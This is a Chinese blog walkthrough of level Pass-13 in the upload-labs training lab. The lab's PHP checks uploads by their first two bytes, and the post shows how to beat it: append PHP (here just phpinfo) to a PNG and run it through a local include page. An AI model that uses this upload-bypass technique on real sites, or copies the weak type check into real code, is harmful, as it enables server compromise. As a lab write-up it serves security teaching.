c0ny1/upload-labs文件上传漏洞之后端只检查文件前两字节Pass-13


本文记录Pass-13,后端读取传入文件的前两个字节判断文件类型。

查看代码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

从文件前两字节判断文件类型,这种情况需要上传个图片马。

为了方便,我把小马改成phpinfo();了
cmd.php

<?php phpinfo(); ?>

制作图片马

cat  cmd.php >> a.png

上传成功。
访问http://localhost/include.php?file=./upload/3920190806121150.png
回显
图片马包含执行成功

声明:物博网|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - c0ny1/upload-labs文件上传漏洞之后端只检查文件前两字节Pass-13


喜欢安全与WEB开发